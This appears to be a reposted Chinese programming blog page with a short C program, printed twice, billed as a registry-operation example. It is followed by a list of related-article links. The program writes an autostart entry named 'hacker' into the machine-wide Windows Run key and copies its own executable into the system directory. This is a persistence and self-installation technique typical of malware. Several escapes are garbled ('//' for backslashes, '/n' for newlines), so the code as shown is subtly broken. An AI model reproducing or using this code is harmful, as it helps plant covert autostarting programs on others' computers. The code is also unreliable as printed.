C语言注册表操作实例(转)
2006-03-10 11:51
537 查看
#include <stdio.h>
#include <windows.h>
int main(void)
{
char regname[]="Software//Microsoft//Windows//CurrentVersion//Run";
HKEY hkResult;
int ret=RegOpenKey(HKEY_LOCAL_MACHINE,regname,&hkResult);
ret=RegSetValueEx(hkResult,"hacker"/* 注册表键名*/,0,REG_EXPAND_SZ,(unsigned char *)"%systemroot%//hacker.exe",25);
if(ret==0){
printf("success to write run key/n");
RegCloseKey(hkResult);
}
else {
printf("failed to open regedit.%d/n",ret);
return 0;
}
char modlepath[256];
char syspath[256];
GetModuleFileName(0,modlepath,256);//取得程序名字
GetSystemDirectory(syspath,256);
ret=CopyFile(modlepath,strcat(syspath,"//hacker.exe"),1);
if(ret)
{
printf("%s has been copyed to sys dir %s/n",modlepath,syspath);
}
else printf("%s is exisis",modlepath);
return 0;
}
Trackback: http://tb.blog.csdn.net/TrackBack.aspx?PostId=604908
#include <windows.h>
int main(void)
{
char regname[]="Software//Microsoft//Windows//CurrentVersion//Run";
HKEY hkResult;
int ret=RegOpenKey(HKEY_LOCAL_MACHINE,regname,&hkResult);
ret=RegSetValueEx(hkResult,"hacker"/* 注册表键名*/,0,REG_EXPAND_SZ,(unsigned char *)"%systemroot%//hacker.exe",25);
if(ret==0){
printf("success to write run key/n");
RegCloseKey(hkResult);
}
else {
printf("failed to open regedit.%d/n",ret);
return 0;
}
char modlepath[256];
char syspath[256];
GetModuleFileName(0,modlepath,256);//取得程序名字
GetSystemDirectory(syspath,256);
ret=CopyFile(modlepath,strcat(syspath,"//hacker.exe"),1);
if(ret)
{
printf("%s has been copyed to sys dir %s/n",modlepath,syspath);
}
else printf("%s is exisis",modlepath);
return 0;
}
Trackback: http://tb.blog.csdn.net/TrackBack.aspx?PostId=604908
相关文章推荐
- C语言注册表操作实例(转)
- C语言注册表操作实例
- C语言注册表操作实例
- C语言注册表操作实例
- Redis教程(十五):C语言连接操作代码实例
- Redis:安装、配置、操作和简单代码实例(C语言Client端)
- 完整的注册表操作实例 VBS脚本
- C语言操作WINDOWS系统存储区数字证书相关函数详解及实例
- C语言文件读取和单链表的添加、删除和排序等操作实例
- 利用C语言实现顺序表的实例操作
- Redis教程(十五):C语言连接操作代码实例
- C# 操作注册表实例(包括判断路径是否存在)
- C语言 数据结构链表的实例(十九种操作)
- sqlite3的C语言API操作数据库的实例分析
- C语言操作WINDOWS系统存储区数字证书相关函数详解及实例
- 注册表操作实例
- 链表基础操作+实例[C语言实现]
- C语言 文件操作解析详解及实例代码
- 完整的注册表操作实例 VBS脚本
- Redis教程(十五):C语言连接操作代码实例